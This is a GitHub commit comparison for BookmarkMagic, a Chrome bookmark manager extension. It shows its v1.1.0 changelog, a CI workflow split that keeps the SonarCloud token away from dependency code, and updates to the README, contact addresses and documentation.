Compare commits
No files matched your search
@@ -15,7 +15,7 @@ contact_links:
|
||||
about: Reviews are read, but a bug reported here gets fixed faster.
|
||||
|
||||
- name: Question, or no GitHub account
|
||||
url: mailto:contact@poli0981.dev
|
||||
url: mailto:code@poli0981.dev
|
||||
about: >-
|
||||
Email works. Please do not attach your real bookmarks file — see the
|
||||
privacy policy for what happens to anything you send.
|
||||
@@ -5,6 +5,13 @@
|
||||
# protection reads ("Quality gates", "Build + package / build"). The verdict
|
||||
# reaches the PR through the SonarCloud GitHub App's own check.
|
||||
#
|
||||
# Two jobs, so the token never shares a runner with dependency code. Secrets
|
||||
# are loaded into the runner for the whole job, and a step can read them from
|
||||
# the runner process whatever its own `env:` says — the shape of the March 2025
|
||||
# tj-actions compromise. So `coverage` installs and runs the dev dependencies
|
||||
# with no secret at all, and `scan` installs nothing: it gets the lcov report as
|
||||
# an artifact.
|
||||
#
|
||||
# ⚠️ Prerequisite: Automatic Analysis is OFF in the SonarCloud project
|
||||
# (Administration → Analysis Method). With it on, the scanner refuses to run.
|
||||
name: SonarCloud
|
||||
@@ -22,8 +29,8 @@ concurrency:
|
||||
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
|
||||
|
||||
jobs:
|
||||
analyze:
|
||||
name: SonarCloud analysis
|
||||
coverage:
|
||||
name: Coverage for SonarCloud
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 15
|
||||
permissions:
|
||||
@@ -31,8 +38,6 @@ jobs:
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
with:
|
||||
# Full history: Sonar's new-code detection and blame need it.
|
||||
fetch-depth: 0
|
||||
persist-credentials: false
|
||||
- uses: actions/setup-node@v7
|
||||
with:
|
||||
@@ -48,13 +53,44 @@ jobs:
|
||||
# lcov for Sonar; the docs/11 §1 thresholds still gate core here too.
|
||||
- run: npm run coverage
|
||||
|
||||
# The lcov report, and the generated .wxt/ that tsconfig.json extends (it
|
||||
# defines the `@/` alias), so the scan can resolve our own modules.
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: lcov
|
||||
path: |
|
||||
coverage/lcov.info
|
||||
.wxt/
|
||||
include-hidden-files: true
|
||||
retention-days: 1
|
||||
if-no-files-found: error
|
||||
|
||||
scan:
|
||||
name: SonarCloud analysis
|
||||
needs: coverage
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
permissions:
|
||||
contents: read
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
with:
|
||||
# Full history: Sonar's new-code detection and blame need it.
|
||||
fetch-depth: 0
|
||||
persist-credentials: false
|
||||
|
||||
- uses: actions/download-artifact@v8
|
||||
with:
|
||||
name: lcov
|
||||
path: .
|
||||
|
||||
# No npm here: the runner's own Node reads one field of a JSON file.
|
||||
- name: Read the package version
|
||||
id: pkg
|
||||
run: echo "version=$(node -p "require('./package.json').version")" >> "$GITHUB_OUTPUT"
|
||||
|
||||
# The token is scoped to the two steps that need it, so the install and
|
||||
# the test run above never see it. Dependabot and fork PRs get no repo
|
||||
# secrets at all: they skip the scan with a notice instead of failing.
|
||||
# Dependabot and fork PRs get no repo secrets at all: they skip the scan
|
||||
# with a notice instead of failing.
|
||||
- name: Check for SONAR_TOKEN
|
||||
id: token
|
||||
env:
|
||||
|
||||
@@ -13,6 +13,131 @@ breaking format or schema changes (a BM JSON version bump).
|
||||
|
||||
Nothing yet.
|
||||
|
||||
## [1.1.0] — 2026-10-29
|
||||
|
||||
New import formats, a Merge that really merges, restores that put everything
|
||||
back where it was, Sort A→Z, drag to reorder, and a new look. Permissions are
|
||||
unchanged (`bookmarks` and `storage`), and nothing to do — Chrome updates
|
||||
itself. **Needs Chrome 136 or later.**
|
||||
|
||||
### Added
|
||||
|
||||
- Import Chrome's own `Bookmarks` file — the JSON file in your profile folder,
|
||||
which has no extension — and Firefox's JSON backups
|
||||
(`bookmarks-YYYY-MM-DD.json`). Both still know which bookmarks were in
|
||||
"Mobile bookmarks", which the browsers' own HTML exports throw away.
|
||||
- **Sort A→Z** for any folder: folders first, then bookmarks, in natural order
|
||||
("Item 2" before "Item 10"). It tells you how many items will move before
|
||||
doing anything.
|
||||
- **Drag to reorder**: drop above or below a row to place an item exactly
|
||||
there, or onto a folder to move it inside.
|
||||
- A new look: clearer panels, a status bar, readable numbers, and icons that
|
||||
move a little — never if your system asks for reduced motion.
|
||||
- **Copy diagnostics** in the About tab: a short log of what the tab did
|
||||
(error codes and counts — never titles or addresses) to paste into a bug
|
||||
report. It stays on your computer unless you paste it somewhere.
|
||||
- The import preview marks which folders go straight into the Bookmarks bar,
|
||||
Other or Mobile bookmarks, and names the format it detected.
|
||||
|
||||
### Changed
|
||||
|
||||
- **Requires Chrome 136 or later** (was 120). Older Chrome keeps version 1.0.1.
|
||||
- Chrome itself now enforces that the extension makes no network requests: a
|
||||
stricter content security policy refuses any connection, remote image, font
|
||||
or frame an extension page might try. Nothing it did before needed one.
|
||||
- "Merge into existing folders" now really merges: a folder you already have is
|
||||
reused and the new bookmarks are added at the end of it. Before, every folder
|
||||
in the file was created again beside yours.
|
||||
- "Replace everything" restores a file exactly, duplicate links included — the
|
||||
"skip duplicates" box never applied to it, and now it really does not.
|
||||
- Firefox "smart bookmarks" (saved searches, `place:` links) in browser HTML
|
||||
exports are skipped and counted: in Chrome they are dead links. BookmarkMagic's
|
||||
own JSON and CSV files keep them.
|
||||
- A bookmark with an empty title stays untitled after import, instead of taking
|
||||
its address as the title.
|
||||
- The safety backup taken before "Replace everything" is compact JSON — about
|
||||
half the size.
|
||||
- The file picker shows every file; BookmarkMagic recognises the format from
|
||||
the content.
|
||||
- "Replace everything" now asks first, showing exactly how many bookmarks and
|
||||
folders will be deleted and how many will be written.
|
||||
- The import button counts what will really be imported (duplicates you chose
|
||||
to skip are not counted), and the report lists bookmarks and folders
|
||||
separately, what was skipped, which existing folders were reused, and where
|
||||
everything went.
|
||||
- Error messages stay on screen until you dismiss them.
|
||||
- The popup opens an already-open manager on the page you clicked, and its
|
||||
folder count no longer includes the three built-in root folders.
|
||||
- Very large folders and trees show 500 rows at a time, with "Show more" (and
|
||||
"Show earlier" in the edit tree), so expanding everything no longer freezes
|
||||
the tab.
|
||||
- Two manager tabs can no longer write bookmarks at the same time — the second
|
||||
one is told to wait, and nothing is changed.
|
||||
|
||||
### Fixed
|
||||
|
||||
- Restoring a backup put "Other bookmarks" and "Mobile bookmarks" inside Other
|
||||
Bookmarks — one level deeper on every restore. They now go back where they
|
||||
were, and backups made by 1.0.x are recognised and restored correctly too.
|
||||
- One address Chrome refuses no longer stops an import half-way — after
|
||||
"Replace everything" had already deleted your bookmarks. Such entries are now
|
||||
skipped before anything is written, and the preview says how many.
|
||||
- "Replace everything" now refuses to start when your current bookmarks are too
|
||||
large for a backup BookmarkMagic could read back, instead of writing that
|
||||
backup and deleting everything anyway.
|
||||
- Some bookmark files silently lost entries: a folder list after a loose
|
||||
bookmark, everything after a title containing an unescaped `<b>`, and lists
|
||||
wrapped in other markup. Anything that still cannot be read is now counted.
|
||||
- A folder marked `PERSONAL_TOOLBAR_FOLDER="false"` is no longer taken for the
|
||||
Bookmarks Bar.
|
||||
- A CSV file with an unclosed quote is reported with its line number, instead of
|
||||
one cell swallowing the rest of the file.
|
||||
- CSV exports no longer contain cells a spreadsheet would run as a formula; the
|
||||
guard character is removed again when the file is imported.
|
||||
- Titles in Markdown exports can no longer turn into links, HTML or broken
|
||||
lines.
|
||||
- A link ending in a bare `?` or `#` is recognised as a duplicate of the same
|
||||
link without it.
|
||||
- "Replace everything" re-checks your bookmarks after the safety backup is
|
||||
saved, and re-saves it if something changed meanwhile (sync, another window),
|
||||
so nothing can be deleted that the backup does not hold. It never empties the
|
||||
bookmarks stored in your Google Account, and restoring a backup puts Mobile
|
||||
bookmarks back in "Mobile bookmarks" even when that folder was empty.
|
||||
- Imports that would nest folders deeper than Chrome can reliably store are
|
||||
refused up front instead of being written.
|
||||
- Keyboard: "Move to…" is now a real dialog that keyboard focus enters and
|
||||
leaves properly, with a filter; the menu key or Shift+F10 opens it from the
|
||||
tree, and Ctrl+C copies the focused link. Cancelling a drag no longer leaves
|
||||
rows highlighted. Pressing Esc while renaming no longer saves the new name.
|
||||
- The edit tree no longer collapses or loses your place after a failed edit,
|
||||
and focus moves to the next row after a delete.
|
||||
- Renaming from the keyboard works: F2 and New folder put the cursor in the
|
||||
name box, and Enter or Esc returns you to the tree. A folder created while
|
||||
searching no longer disappears and locks the keyboard.
|
||||
- The edit tree keeps your place when the row you were on is collapsed, moved
|
||||
or deleted elsewhere — focus goes to the nearest folder still on screen —
|
||||
and a folder you close during a search stays closed.
|
||||
- While a sort or a duplicate clean-up runs, the other edit actions wait for
|
||||
it, instead of starting and failing with misleading messages.
|
||||
- End and type-ahead on a very large tree no longer freeze the tab.
|
||||
- An error message no longer holds back the messages after it.
|
||||
- The import preview shows its "new" and "dup" badges again. Keyboard and
|
||||
screen-reader users now land on each step of an import, and hear how it
|
||||
ended.
|
||||
- Dialogs name their close button "Dismiss", and screen readers read the
|
||||
confirmation's details with its title. After a delete, keyboard focus goes
|
||||
back to the tree or the duplicate panel instead of the top of the page.
|
||||
- At narrow widths the edit toolbar wraps instead of pushing the page sideways,
|
||||
and titles keep their room before the domain beside them.
|
||||
- Wording: an untitled item is named by its address in dialogs, plurals read
|
||||
correctly ("1 extra copy", "Show 1 more row"), and the Japanese text spells
|
||||
ブラウザ and フォルダ one way throughout.
|
||||
- The header logo's animation stops after two pulses instead of running
|
||||
forever, and the popup now switches only the Manager tab it brings forward.
|
||||
- The About tab and the third-party notices now name the small MIT-licensed
|
||||
pieces the build has always compiled in (the Svelte runtime with its `clsx`
|
||||
helper, and WXT's browser shim), instead of saying there were none.
|
||||
|
||||
## [1.0.1] — 2026-08-03
|
||||
|
||||
Released and submitted 2026-08-03; live on the Chrome Web Store (confirmed on
|
||||
@@ -90,6 +215,7 @@ from 2026-08-03.
|
||||
- Parsing is bounded: 25 MB per file, 100 000 nodes, 200 levels of nesting.
|
||||
- No network access of any kind at runtime, enforced by a grep gate in CI.
|
||||
|
||||
[Unreleased]: https://github.com/poli0981/bookmarkmagic/compare/v1.0.1...HEAD
|
||||
[Unreleased]: https://github.com/poli0981/bookmarkmagic/compare/v1.1.0...HEAD
|
||||
[1.1.0]: https://github.com/poli0981/bookmarkmagic/compare/v1.0.1...v1.1.0
|
||||
[1.0.1]: https://github.com/poli0981/bookmarkmagic/compare/v1.0.0...v1.0.1
|
||||
[1.0.0]: https://github.com/poli0981/bookmarkmagic/releases/tag/v1.0.0
|
||||
@@ -111,11 +111,13 @@ install, privacy summary, donate), full manual QA (docs/11 §5), `wxt zip`
|
||||
clean-install test. Also carried in from the Phase 4 review:
|
||||
- ✔ About's "Changelog" link now targets `CHANGELOG.md`, pinned by
|
||||
`tests/unit/links.test.ts`;
|
||||
- ✔ `EditTab.svelte` split (589 → 459, under the hard limit). It grew back
|
||||
through the Phase 5 and 6 review commits — **476 lines with a 356-line script
|
||||
block** as of 2026-10-28, against a 150-line soft limit for script blocks
|
||||
(docs/10 §1). Anything added there has to come out first; `src/lib/edit/` is
|
||||
where extracted logic goes;
|
||||
- ✔ `EditTab.svelte` split (589 → 459, under the hard limit). It grew back to
|
||||
481, and in v1.1.0 its state and commands moved into three stores —
|
||||
`edit-view` (181 lines), `edit-commands` (226), `edit-session` (133) — and
|
||||
its key handling into `src/lib/edit/tree-keys.ts`. As of the 1.1.0 review the
|
||||
component is 259 lines with a 144-line script, `TreeRow.svelte` 276,
|
||||
`ImportTab.svelte` 266 and the Manager's `App.svelte` 237: every file is under
|
||||
the 300 target again. Extract before adding;
|
||||
- ✔ contrast tokens fixed, and `tests/unit/styles/contrast.test.ts` now fails
|
||||
the build on any text pair under 4.5:1. Two blind spots to know about: it is
|
||||
token-level, so it cannot see the `opacity`-on-text bypass it was written to
|
||||
@@ -134,6 +136,22 @@ CI hardening → the About store link → cut 1.0.1.
|
||||
**Exit:** ✔ v1.0.1 tagged and released 2026-08-03, live on the store
|
||||
(confirmed 2026-10-28).
|
||||
|
||||
### Phase 7 — v1.1.0: toolchain, import redesign, new formats, technical UI
|
||||
Two PRs. **PR-A** (toolchain): Node 26, TypeScript 7 beside the TS 6 API,
|
||||
ES2025 with Chrome ≥ 136, SonarCloud in CI, a browser-enforced zero-network
|
||||
CSP, gates that cannot be talked past. **PR-B** (product): the import pipeline
|
||||
redesigned — every entry a file holds read, addresses Chrome would refuse
|
||||
skipped up front, Chrome's `Bookmarks` file and Firefox JSON backups imported,
|
||||
root markers so restores stop nesting, a Merge that reuses folders, a Replace
|
||||
that plans first and refuses an unrestorable backup; the Edit tab rebuilt
|
||||
around a store, with Sort A→Z, drag to reorder and batched live sync; a
|
||||
technical redesign of every surface; local diagnostics; a cross-tab write
|
||||
lock; docs and legal synced (clarifications only — `LEGAL_VERSION` stays 1);
|
||||
contact aliases per purpose.
|
||||
**Exit:** `main` tag-ready with `verify:full` green; the human runs the
|
||||
docs/11 §5 manual pass on real Chrome including the **1.0.1 → 1.1.0 upgrade
|
||||
over an existing profile** ⚠️, then uploads the release zip to the store ⚠️.
|
||||
|
||||
## Working style
|
||||
|
||||
- Small commits per module; tests land with (or before) implementation.
|
||||
@@ -149,6 +167,16 @@ CI hardening → the About store link → cut 1.0.1.
|
||||
how a missing `@types/node` survived a green local `verify` and failed CI on
|
||||
the first push. A green local type-check in a worktree is weaker evidence than
|
||||
it looks.
|
||||
- **TypeScript 7 runs beside the TS 6 API.** `tsc` is TS 7 (`@typescript/native`,
|
||||
aliased `npm:typescript@~7`); the `typescript` package is aliased to
|
||||
`@typescript/typescript6` for svelte-check, which needs the classic API TS 7
|
||||
does not have yet. `npm run check` runs svelte-check (TS 6, `.svelte` files)
|
||||
and then `tsc` (TS 7, `.ts` and `scripts/*.mjs`). Never "fix" one by
|
||||
removing the other.
|
||||
- **Installs run with `--ignore-scripts`**, in CI and locally when in doubt:
|
||||
`npm ci --ignore-scripts && npx --no-install wxt prepare`. The `postinstall`
|
||||
hook only runs `wxt prepare`; every other package's install script is
|
||||
untrusted code.
|
||||
- When a browser fixture contradicts the format spec: add the fixture, make
|
||||
the parser tolerant, note the quirk in code + docs/04 §1.2, then continue.
|
||||
- Do not invent features not in docs; park ideas as `docs/15` roadmap PRs.
|
||||
|
||||
@@ -56,7 +56,7 @@ spaces.
|
||||
## Enforcement
|
||||
|
||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
||||
reported to the maintainers at **contact@poli0981.dev**. All complaints will be
|
||||
reported to the maintainers at **code@poli0981.dev**. All complaints will be
|
||||
reviewed and investigated promptly and fairly.
|
||||
|
||||
Maintainers are obligated to respect the privacy and security of the reporter of
|
||||
|
||||
@@ -3,6 +3,9 @@
|
||||
[](LICENSE)
|
||||
[](https://github.com/poli0981/bookmarkmagic/actions/workflows/ci.yml)
|
||||
[](https://github.com/poli0981/bookmarkmagic/actions/workflows/codeql.yml)
|
||||
[](https://sonarcloud.io/summary/new_code?id=poli0981_bookmarkmagic)
|
||||
[](https://sonarcloud.io/summary/new_code?id=poli0981_bookmarkmagic)
|
||||
[](https://chromewebstore.google.com/detail/bookmarkmagic/eghnciphhegekmnofffpgbdfefckdhmg)
|
||||
[](#privacy)
|
||||
|
||||
Move your bookmarks between browsers the simple way: with a file. No account,
|
||||
@@ -13,41 +16,59 @@ folder trees. English · Tiếng Việt · 日本語.
|
||||
|
||||
## Screenshots
|
||||
|
||||
| Edit | Export |
|
||||
| Import | Edit |
|
||||
|---|---|
|
||||
|  |  |
|
||||
|  |  |
|
||||
|
||||
| Settings | About |
|
||||
| Export | Settings |
|
||||
|---|---|
|
||||
|  |  |
|
||||
|  |  |
|
||||
|
||||
Taken with neutral sample data by `node scripts/screenshots.mjs --shoot`, never
|
||||
from anyone's real profile.
|
||||
|
||||
## What it does
|
||||
|
||||
- **Import** HTML, JSON or CSV bookmark files, with a full preview first —
|
||||
- **Import** HTML, CSV and JSON bookmark files — including Chrome's own
|
||||
`Bookmarks` file from the profile folder and Firefox's JSON backups, the
|
||||
copies you have when a browser will not start. A full preview comes first:
|
||||
counts, folders, depth, duplicates and warnings before anything is written.
|
||||
- **Choose how**: into a new dated folder (the safe default), merged into your
|
||||
existing folders, or replacing everything. Replace saves a JSON safety backup
|
||||
first and **deletes nothing until that backup is proven**.
|
||||
- **Choose how**: into a new dated folder (the safe default), merged into the
|
||||
folders you already have (reused, not copied), or replacing everything.
|
||||
Replace tells you exactly what it will delete, saves a JSON safety backup
|
||||
first, and **deletes nothing until that backup is proven** — and restoring
|
||||
that backup puts the Bookmarks bar, Other and Mobile bookmarks back where
|
||||
they were.
|
||||
- **Export** everything, or just the folders you pick, to HTML (Chrome, Edge,
|
||||
Brave, Firefox, Safari, Vivaldi, Opera), JSON, CSV or Markdown.
|
||||
- **Edit** the tree: search, rename, drag & drop, create folders, delete, and
|
||||
find duplicate links — every action reachable from the keyboard.
|
||||
- **Edit** the tree: search, rename, drag to move or reorder, sort a folder
|
||||
A→Z, create folders, delete, and find duplicate links — every action
|
||||
reachable from the keyboard.
|
||||
|
||||
## Privacy
|
||||
|
||||
This is the whole point of the project, so it is worth being precise.
|
||||
|
||||
- **No network access at all.** Not analytics, not telemetry, not update pings.
|
||||
There is no server. The browser enforces it: the extension's content security
|
||||
policy sets `connect-src 'none'`, so Chrome itself refuses any request an
|
||||
extension page tries to make. On top of that, `npm run check:manifest` scans
|
||||
the shipped bundle for network APIs and `npm run guard` scans the source.
|
||||
There is no server, and the code makes no network calls. The browser backs
|
||||
that up: the extension's content security policy makes Chrome refuse fetch,
|
||||
XHR, WebSocket, EventSource and beacon requests, and remote images, fonts,
|
||||
media and frames. On top of that, `npm run check:manifest` scans the shipped
|
||||
bundle for network APIs (WebRTC included, which no CSP directive covers) and
|
||||
`npm run guard` scans the source.
|
||||
- **Exactly two permissions**: `bookmarks` and `storage`. No host permissions,
|
||||
no content scripts, no background worker. Two gates enforce it: a unit test
|
||||
over `wxt.config.ts`, and `npm run check:manifest`, which CI runs against the
|
||||
**built** `manifest.json` — because a build can add what the config never
|
||||
asked for.
|
||||
- **Zero runtime dependencies.** Nothing third-party ships in the extension.
|
||||
- **Zero runtime dependencies.** Nothing is installed at runtime; the only
|
||||
third-party code in the package is what the build compiles in — the Svelte
|
||||
runtime with its `clsx` helper and WXT's one-line browser shim, all MIT
|
||||
([`legal/THIRD_PARTY_NOTICES.md`](legal/THIRD_PARTY_NOTICES.md)). The build
|
||||
fails if anything else would ship.
|
||||
- A short diagnostics log (error codes and counts, never titles or addresses)
|
||||
lives in memory while a tab is open, so you can copy it into a bug report.
|
||||
It never leaves your computer unless you paste it somewhere.
|
||||
- Settings use `chrome.storage.local`, never `storage.sync`, so even your
|
||||
preferences stay off any vendor cloud.
|
||||
|
||||
@@ -84,9 +105,15 @@ Then load `.output/chrome-mv3/` at `chrome://extensions` with Developer mode on.
|
||||
npm run dev
|
||||
```
|
||||
|
||||
`npm run verify` is the gate everything else answers to — lint, type-check,
|
||||
knip, the grep gate and the test suite, in that order. It must be green before
|
||||
every commit.
|
||||
`npm run verify` is the gate everything else answers to — lint, type-check
|
||||
(svelte-check on the TypeScript 6 API, then `tsc` 7), knip, the grep gate and
|
||||
the test suite, in that order. It must be green before every commit;
|
||||
`npm run verify:full` adds coverage, the build and the built-manifest check,
|
||||
and must be green before anything release-bearing.
|
||||
|
||||
`node scripts/screenshots.mjs` serves the built extension with sample
|
||||
bookmarks and a fake `chrome`, for looking at every page without loading the
|
||||
extension (`--shoot` also captures the store screenshots).
|
||||
|
||||
The [`docs/`](docs/) directory is the binding specification, not notes: where
|
||||
code and docs disagree, the docs win. Start with [`CLAUDE.md`](CLAUDE.md), then
|
||||
@@ -115,6 +142,23 @@ not negotiable, and how a reported file becomes a regression test.
|
||||
Security issues: please follow [`SECURITY.md`](SECURITY.md) rather than opening
|
||||
a public issue.
|
||||
|
||||
## Contact
|
||||
|
||||
| For | Write to |
|
||||
|---|---|
|
||||
| Security vulnerabilities (if you have no GitHub account) | security@poli0981.dev |
|
||||
| Privacy questions, removing a sample you sent | privacy@poli0981.dev |
|
||||
| The terms (EULA, disclaimer) | legal@poli0981.dev |
|
||||
| Licensing and permission questions | copyright@poli0981.dev |
|
||||
| Formal copyright (DMCA) notices | dmca@poli0981.dev |
|
||||
| A copy or listing pretending to be BookmarkMagic | takedown@poli0981.dev |
|
||||
| Contributing and code of conduct | code@poli0981.dev |
|
||||
| Sponsorship · collaboration · press | sponsor@ · collab@ · press@poli0981.dev |
|
||||
|
||||
Bugs and feature ideas are best as
|
||||
[issues](https://github.com/poli0981/bookmarkmagic/issues) — they help the next
|
||||
person too. The extension itself never shows or uses any of these addresses.
|
||||
|
||||
## Support development
|
||||
|
||||
Entirely optional — BookmarkMagic is free software either way.
|
||||
@@ -127,9 +171,14 @@ Entirely optional — BookmarkMagic is free software either way.
|
||||
|
||||
## Licence
|
||||
|
||||
Copyright © 2026 skullmute ([poli0981](https://github.com/poli0981)).
|
||||
[GPL-3.0-or-later](LICENSE). Also see [`legal/EULA.md`](legal/EULA.md),
|
||||
[`legal/DISCLAIMER.md`](legal/DISCLAIMER.md) and
|
||||
[`legal/THIRD_PARTY_NOTICES.md`](legal/THIRD_PARTY_NOTICES.md).
|
||||
[`legal/THIRD_PARTY_NOTICES.md`](legal/THIRD_PARTY_NOTICES.md). Licensing
|
||||
questions: copyright@poli0981.dev.
|
||||
|
||||
Not affiliated with or endorsed by Google, Chrome, or any browser vendor.
|
||||
Browser names are trademarks of their respective owners.
|
||||
The BookmarkMagic name and icon identify this project. The GPL lets anyone fork
|
||||
the code; it does not let a fork present itself as this project.
|
||||
|
||||
Not affiliated with or endorsed by Google, Chrome, Mozilla, Firefox or any
|
||||
browser vendor. Browser names are trademarks of their respective owners.
|
||||
@@ -17,7 +17,7 @@ see which version you are running in the extension's **About** tab, or on
|
||||
Report privately via **GitHub Security Advisories**:
|
||||
<https://github.com/poli0981/bookmarkmagic/security/advisories/new>
|
||||
|
||||
No GitHub account? Email **contact@poli0981.dev** instead. Please say up front
|
||||
No GitHub account? Email **security@poli0981.dev** instead. Please say up front
|
||||
that it is a security report.
|
||||
|
||||
Please do not open a public issue for a security problem.
|
||||
|
||||
|
Before Width: | Height: | Size: 73 KiB |
|
Before Width: | Height: | Size: 90 KiB |
|
Before Width: | Height: | Size: 97 KiB |
|
Before Width: | Height: | Size: 163 KiB |
|
After Width: | Height: | Size: 78 KiB |
|
After Width: | Height: | Size: 58 KiB |
|
Before Width: | Height: | Size: 69 KiB After Width: | Height: | Size: 58 KiB |
|
After Width: | Height: | Size: 40 KiB |
|
After Width: | Height: | Size: 20 KiB |
|
After Width: | Height: | Size: 57 KiB |
@@ -17,11 +17,16 @@
|
||||
> 5 users) on 2026-10-28. ⚠️ The exact approval date was never recorded — the
|
||||
> owner can read it from the dashboard. Installed users are on 1.0.1.
|
||||
>
|
||||
> **v1.1.0 is in preparation** on `release/1.1.0`: versioned, with its
|
||||
> CHANGELOG section dated 2026-10-29, but not yet tagged, released or
|
||||
> submitted. Until it clears review, installed users stay on 1.0.1. It raises
|
||||
> the floor to Chrome 136 (`08 §7`); permissions are unchanged.
|
||||
>
|
||||
> The project is now in **maintenance**, not construction: every change from
|
||||
> here reaches installed users through a store review, so it needs a version
|
||||
> bump, a CHANGELOG entry and an update submission (`13 §1b`). Sequencing lives
|
||||
> in `/CLAUDE.md`; what is still open is in §10 below.
|
||||
> **Doc suite version:** 1.7 (2026-10-28 — v1.0.1 published; v1.1.0 in progress)
|
||||
> **Doc suite version:** 1.8 (2026-10-29 — specs reconciled with `release/1.1.0`)
|
||||
|
||||
---
|
||||
|
||||
@@ -51,7 +56,7 @@ One extension page with three capabilities:
|
||||
|---|---|
|
||||
| **Import** | Validate a bookmark file → preview the tree + stats → choose merge mode + dedupe → write into the browser with progress reporting. |
|
||||
| **Export** | Pick scope (all / specific folders) → pick format → download a file compatible with every major browser. |
|
||||
| **Edit** | Full tree manager: search, rename, move (drag & drop), delete, create folders, find duplicates. |
|
||||
| **Edit** | Full tree manager: search, rename, move and reorder (drag & drop), sort A→Z, delete, create folders, find duplicates. |
|
||||
|
||||
## 4. Product principles
|
||||
|
||||
@@ -86,6 +91,24 @@ One extension page with three capabilities:
|
||||
- First-run Legal Gate (EULA, GPL-3.0, Disclaimer, Privacy Policy → GitHub links).
|
||||
- About tab: version, GitHub repo, third-party list ("None"), donate links.
|
||||
|
||||
**v1.1.0 adds** (the list above stays as v1.0 shipped it — `15` cites it as
|
||||
v1.0's scope):
|
||||
|
||||
- Import: Chrome's profile `Bookmarks` file and Firefox JSON backups, both
|
||||
recognised by content, not extension (`04 §2a/§2b`). Backups restore into
|
||||
the right roots instead of nesting them (`03 §1`).
|
||||
- Merge that merges: folders the user already has are reused level by level,
|
||||
and new items are appended to them (`03 §1`, `05 §5`).
|
||||
- Replace asks first, with exact counts, and refuses a backup it could not
|
||||
read back (`09` T4); one writer across Manager tabs (`03 §5`).
|
||||
- Tree editor: Sort A→Z per folder, drag to reorder (before / after / into),
|
||||
a real "Move to…" dialog, bounded rendering (`03 §3`, `05 §9–§11`).
|
||||
- About: the third-party statement names the two MIT pieces the build compiles
|
||||
in instead of "None"; Copy diagnostics, a local log for bug reports
|
||||
(`09 §7`).
|
||||
- A redesigned UI with a self-drawn icon set, all motion behind
|
||||
`prefers-reduced-motion` (`06`).
|
||||
|
||||
## 7. Non-goals (v1.0)
|
||||
|
||||
- ❌ Cloud sync, accounts, or any server component.
|
||||
@@ -142,13 +165,16 @@ Derived identifiers (canonical across docs and code):
|
||||
than a placeholder. Regenerate with `npm run icons` after any change.
|
||||
⚠️ **Store assets are unreconciled.** The listing is live, so whatever
|
||||
`13 §2` requires was supplied — but nothing in the repo records what, or
|
||||
where the originals live. `capture/` holds five README screenshots at
|
||||
2512×1440 / 2560×1440, which are *not* the five 1280×800 store screenshots
|
||||
`13 §2` specifies, and there is no 440×280 promo tile of any size. Owner:
|
||||
either record where the submitted assets live, or correct `13 §2`.
|
||||
where the originals live. Since 1.1.0 the screenshot harness writes
|
||||
1280×800 candidates to `store/screenshots/` (`13 §2`); there is still no
|
||||
440×280 promo tile of any size. Owner: record where the submitted assets
|
||||
live, or correct `13 §2`.
|
||||
4. ✔ Donate URLs resolved from `.github/FUNDING.yml` (`14 §5`).
|
||||
✔ Contact email filled in and confirmed live: `contact@poli0981.dev`
|
||||
(`legal/PRIVACY.md`), alongside the GitHub Issues link.
|
||||
✔ Contact addresses: since v1.1.0, one alias per purpose (`privacy@` in
|
||||
`legal/PRIVACY.md`, `security@`, `legal@`, `dmca@`, `copyright@`,
|
||||
`takedown@`, `code@` — README "Contact"); `contact@` is retired. ⚠️ Owner:
|
||||
if the CWS dashboard's developer contact still says `contact@`, change it
|
||||
to `privacy@` or `code@` there.
|
||||
5. ✔ Chrome Web Store: developer account paid, item created, submitted
|
||||
2026-07-26 and **approved — the listing is public and has users**. Listing
|
||||
copy and the Privacy tab answers came from `13 §3` and `08 §5`. The store URL
|
||||
|
||||
@@ -61,16 +61,21 @@ bookmarkmagic/
|
||||
├── src/
|
||||
│ ├── public/
|
||||
│ │ ├── icon/ # 16/32/48/128 png
|
||||
│ │ └── _locales/{en,vi,ja}/messages.json # manifest-level strings only
|
||||
│ │ ├── _locales/{en,vi,ja}/messages.json # manifest-level strings only
|
||||
│ │ └── THIRD_PARTY_NOTICES.txt # MIT notices for what the build compiles in (14 §5)
|
||||
│ ├── entrypoints/
|
||||
│ │ ├── popup/ # index.html + App.svelte + main.ts
|
||||
│ │ └── manager/ # index.html + App.svelte + main.ts (unlisted page)
|
||||
│ ├── lib/
|
||||
│ │ ├── core/ # PURE — see below
|
||||
│ │ │ ├── model.ts # BookmarkNode, ImportPlan, Stats types
|
||||
│ │ │ ├── parse-file.ts # parseBookmarkFile: sniff, parse once, route (04 intro)
|
||||
│ │ │ ├── parse/
|
||||
│ │ │ │ ├── shared.ts # WarningBag, NodeBudget, bookmarkTitle, RootTitles
|
||||
│ │ │ │ ├── netscape-html.ts
|
||||
│ │ │ │ ├── bm-json.ts
|
||||
│ │ │ │ ├── chrome-json.ts # Chrome profile `Bookmarks` file (04 §2a)
|
||||
│ │ │ │ ├── firefox-json.ts # Firefox JSON backup (04 §2b)
|
||||
│ │ │ │ └── csv.ts
|
||||
│ │ │ ├── serialize/
|
||||
│ │ │ │ ├── netscape-html.ts
|
||||
@@ -81,7 +86,12 @@ bookmarkmagic/
|
||||
│ │ │ ├── timestamps.ts
|
||||
│ │ │ ├── dedupe.ts
|
||||
│ │ │ ├── diff.ts
|
||||
│ │ │ ├── detect-format.ts
|
||||
│ │ │ ├── detect-format.ts # sniffFormat + jsonFormatOf
|
||||
│ │ │ ├── href.ts # classifyHref: what an address is worth importing
|
||||
│ │ │ ├── csv-dialect.ts # columns, delimiters, formula guard
|
||||
│ │ │ ├── route.ts # top-level root routing / unwrapping (03 §1)
|
||||
│ │ │ ├── merge.ts # Merge folder reuse (05 §5)
|
||||
│ │ │ ├── caps.ts # would the import read this back? (03 §1 step 6b)
|
||||
│ │ │ ├── plan.ts # buildImportPlan → segments (§4)
|
||||
│ │ │ ├── search.ts # #edit filter + ancestor expansion
|
||||
│ │ │ ├── select.ts # tri-state export selection → subtree
|
||||
@@ -95,10 +105,17 @@ bookmarkmagic/
|
||||
│ │ │ ├── app-info.ts # manifest version — the ONE source (06 §3.5)
|
||||
│ │ │ ├── errors.ts # BmBrowserError / BmBackupError / BmAborted (§7)
|
||||
│ │ │ ├── open-url.ts # http(s) allowlist before tabs.create (09 T3)
|
||||
